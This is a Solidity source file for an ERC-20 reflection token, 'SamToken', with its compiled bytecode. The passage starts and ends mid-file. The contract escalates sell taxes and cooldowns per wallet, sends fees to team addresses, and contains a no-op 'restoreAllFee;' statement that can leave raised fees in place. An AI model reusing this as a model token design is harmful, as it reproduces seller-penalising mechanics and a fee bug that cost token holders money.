createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); } contract Sam is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = unicode"SamToken"; string private constant _symbol = "$SAM"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 7; uint256 private _teamFee = 5; mapping(address => bool) private bots; mapping(address => uint256) private buycooldown; mapping(address => uint256) private sellcooldown; mapping(address => uint256) private firstsell; mapping(address => uint256) private sellnumber; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen = false; bool private liquidityAdded = false; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require(rAmount <= _rTotal,"Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 7; _teamFee = 5; } function setFee(uint256 multiplier) private { _taxFee = _taxFee * multiplier; if (multiplier > 1) { _teamFee = 10; } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) { require(tradingOpen); require(amount <= _maxTxAmount); require(buycooldown[to] < block.timestamp); buycooldown[to] = block.timestamp + (30 seconds); _teamFee = 6; _taxFee = 2; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && amount <= _maxTxAmount); require(sellcooldown[from] < block.timestamp); if(firstsell[from] + (1 days) < block.timestamp){ sellnumber[from] = 0; } if (sellnumber[from] == 0) { sellnumber[from]++; firstsell[from] = block.timestamp; sellcooldown[from] = block.timestamp + (1 hours); } else if (sellnumber[from] == 1) { sellnumber[from]++; sellcooldown[from] = block.timestamp + (2 hours); } else if (sellnumber[from] == 2) { sellnumber[from]++; sellcooldown[from] = block.timestamp + (6 hours); } else if (sellnumber[from] == 3) { sellnumber[from]++; sellcooldown[from] = firstsell[from] + (1 days); } swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } setFee(sellnumber[from]); } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); restoreAllFee; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() public onlyOwner { require(liquidityAdded); tradingOpen = true; } function addLiquidity() external onlyOwner() { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; liquidityAdded = true; _maxTxAmount = 3000000000 * 10**9; IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(teamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x6080604052600436106101025760003560e01c8063715018a611610095578063c3c8cd8011610064578063c3c8cd8014610330578063c9567bf914610347578063d543dbeb1461035e578063dd62ed3e14610387578063e8078d94146103c457610109565b8063715018a6146102865780638da5cb5b1461029d57806395d89b41146102c8578063a9059cbb146102f357610109565b8063313ce567116100d1578063313ce567146101de5780635932ead1146102095780636fc3eaec1461023257806370a082311461024957610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103db565b6040516101309190613213565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b9190612d9a565b610418565b60405161016d91906131f8565b60405180910390f35b34801561018257600080fd5b5061018b610436565b6040516101989190613395565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612d4b565b610447565b6040516101d591906131f8565b60405180910390f35b3480156101ea57600080fd5b506101f3610520565b604051610200919061340a565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190612dd6565b610529565b005b34801561023e57600080fd5b506102476105db565b005b34801561025557600080fd5b50610270600480360381019061026b9190612cbd565b61064d565b60405161027d9190613395565b60405180910390f35b34801561029257600080fd5b5061029b61069e565b005b3480156102a957600080fd5b506102b26107f1565b6040516102bf919061312a565b60405180910390f35b3480156102d457600080fd5b506102dd61081a565b6040516102ea9190613213565b60405180910390f35b3480156102ff57600080fd5b5061031a60048036038101906103159190612d9a565b610857565b60405161032791906131f8565b60405180910390f35b34801561033c57600080fd5b50610345610875565b005b34801561035357600080fd5b5061035c6108ef565b005b34801561036a57600080fd5b5061038560048036038101906103809190612e28565b6109ba565b005b34801561039357600080fd5b506103ae60048036038101906103a99190612d0f565b610b03565b6040516103bb9190613395565b60405180910390f35b3480156103d057600080fd5b506103d9610b8a565b005b60606040518060400160405280600881526020017f53616d546f6b656e000000000000000000000000000000000000000000000000815250905090565b600061042c610425611096565b848461109e565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610454848484611269565b61051584610460611096565b610510856040518060600160405280602881526020016139f460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104c6611096565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120399092919063ffffffff16565b61109e565b600190509392505050565b60006009905090565b610531611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105b5906132f5565b60405180910390fd5b80601260186101000a81548160ff02191690831515021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661061c611096565b73ffffffffffffffffffffffffffffffffffffffff161461063c57600080fd5b600047905061064a8161209d565b50565b6000610697600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612198565b9050919050565b6106a6611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610733576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072a906132f5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f2453414d00000000000000000000000000000000000000000000000000000000815250905090565b600061086b610864611096565b8484611269565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108b6611096565b73ffffffffffffffffffffffffffffffffffffffff16146108d657600080fd5b60006108e13061064d565b90506108ec81612206565b50565b6108f7611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610984576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097b906132f5565b60405180910390fd5b601260159054906101000a900460ff1661099d57600080fd5b6001601260146101000a81548160ff021916908315150217905550565b6109c2611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a46906132f5565b60405180910390fd5b60008111610a92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a89906132b5565b60405180910390fd5b610ac16064610ab383683635c9adc5dea0000061250090919063ffffffff16565b61257b90919063ffffffff16565b6013819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601354604051610af89190613395565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b92611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c16906132f5565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610caf30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061109e565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cf557600080fd5b505afa158015610d09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2d9190612ce6565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8f57600080fd5b505afa158015610da3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc79190612ce6565b6040518363ffffffff1660e01b8152600401610de4929190613145565b602060405180830381600087803b158015610dfe57600080fd5b505af1158015610e12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e369190612ce6565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ebf3061064d565b600080610eca6107f1565b426040518863ffffffff1660e01b8152600401610eec96959493929190613197565b6060604051808303818588803b158015610f0557600080fd5b505af1158015610f19573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f3e9190612e51565b5050506001601260176101000a81548160ff0219169083151502179055506001601260186101000a81548160ff0219169083151502179055506001601260156101000a81548160ff0219169083151502179055506729a2241af62c0000601381905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161104092919061316e565b602060405180830381600087803b15801561105a57600080fd5b505af115801561106e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110929190612dff565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561110e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110590613355565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561117e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117590613275565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161125c9190613395565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d090613335565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611349576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134090613235565b60405180910390fd5b6000811161138c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138390613315565b60405180910390fd5b6113946107f1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561140257506113d26107f1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f7657601260189054906101000a900460ff1615611635573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561148457503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156114de5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156115385750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561163457601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661157e611096565b73ffffffffffffffffffffffffffffffffffffffff1614806115f45750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115dc611096565b73ffffffffffffffffffffffffffffffffffffffff16145b611633576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162a90613375565b60405180910390fd5b5b5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d95750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116e257600080fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561178d5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117e35750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117fb5750601260189054906101000a900460ff165b156118d457601260149054906101000a900460ff1661181957600080fd5b60135481111561182857600080fd5b42600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061187357600080fd5b601e42611880919061347a565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660098190555060026008819055505b60006118df3061064d565b9050601260169054906101000a900460ff1615801561194c5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119645750601260179054906101000a900460ff165b15611f74576119ba60646119ac600361199e601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661064d565b61250090919063ffffffff16565b61257b90919063ffffffff16565b82111580156119cb57506013548211155b6119d457600080fd5b42600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a1f57600080fd5b4262015180600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6e919061347a565b1015611aba576000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611bf157600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611b5290613629565b919050555042600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e1042611ba9919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f09565b6001600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611ce457600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611c8990613629565b9190505550611c2042611c9c919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f08565b6002600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611dd757600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611d7c90613629565b919050555061546042611d8f919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f07565b6003600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611f0657600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611e6f90613629565b919050555062015180600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ec2919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b5b611f1281612206565b60004790506000811115611f2a57611f294761209d565b5b611f72600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c5565b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061201d5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561202757600090505b612033848484846125ee565b50505050565b6000838311158290612081576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120789190613213565b60405180910390fd5b5060008385612090919061355b565b9050809150509392505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6120ed60028461257b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612118573d6000803e3d6000fd5b50601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61216960028461257b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612194573d6000803e3d6000fd5b5050565b60006006548211156121df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d690613255565b60405180910390fd5b60006121e961262d565b90506121fe818461257b90919063ffffffff16565b915050919050565b6001601260166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612264577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156122925781602001602082028036833780820191505090505b50905030816000815181106122d0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561237257600080fd5b505afa158015612386573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123aa9190612ce6565b816001815181106123e4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061244b30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461109e565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016124af9594939291906133b0565b600060405180830381600087803b1580156124c957600080fd5b505af11580156124dd573d6000803e3d6000fd5b50505050506000601260166101000a81548160ff02191690831515021790555050565b6000808314156125135760009050612575565b600082846125219190613501565b905082848261253091906134d0565b14612570576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612567906132d5565b60405180910390fd5b809150505b92915050565b60006125bd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612658565b905092915050565b806008546125d39190613501565b60088190555060018111156125eb57600a6009819055505b50565b806125fc576125fb6126bb565b5b6126078484846126ec565b806126155761261461261b565b5b50505050565b60076008819055506005600981905550565b600080600061263a6128b7565b91509150612651818361257b90919063ffffffff16565b9250505090565b6000808311829061269f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126969190613213565b60405180910390fd5b50600083856126ae91906134d0565b9050809150509392505050565b60006008541480156126cf57506000600954145b156126d9576126ea565b600060088190555060006009819055505b565b6000806000806000806126fe87612919565b95509550955095509550955061275c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461298190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127f185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129cb90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283d81612a29565b6128478483612ae6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128a49190613395565b60405180910390a3505050505050505050565b600080600060065490506000683635c9adc5dea0000090506128ed683635c9adc5dea0000060065461257b90919063ffffffff16565b82101561290c57600654683635c9adc5dea00000935093505050612915565b81819350935050505b9091565b60008060008060008060008060006129368a600854600954612b20565b925092509250600061294661262d565b905060008060006129598e878787612bb6565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006129c383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612039565b905092915050565b60008082846129da919061347a565b905083811015612a1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a1690613295565b60405180910390fd5b8091505092915050565b6000612a3361262d565b90506000612a4a828461250090919063ffffffff16565b9050612a9e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129cb90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612afb8260065461298190919063ffffffff16565b600681905550612b16816007546129cb90919063ffffffff16565b6007819055505050565b600080600080612b4c6064612b3e888a61250090919063ffffffff16565b61257b90919063ffffffff16565b90506000612b766064612b68888b61250090919063ffffffff16565b61257b90919063ffffffff16565b90506000612b9f82612b91858c61298190919063ffffffff16565b61298190919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612bcf858961250090919063ffffffff16565b90506000612be6868961250090919063ffffffff16565b90506000612bfd878961250090919063ffffffff16565b90506000612c2682612c18858761298190919063ffffffff16565b61298190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612c4e816139ae565b92915050565b600081519050612c63816139ae565b92915050565b600081359050612c78816139c5565b92915050565b600081519050612c8d816139c5565b92915050565b600081359050612ca2816139dc565b92915050565b600081519050612cb7816139dc565b92915050565b600060208284031215612ccf57600080fd5b6000612cdd84828501612c3f5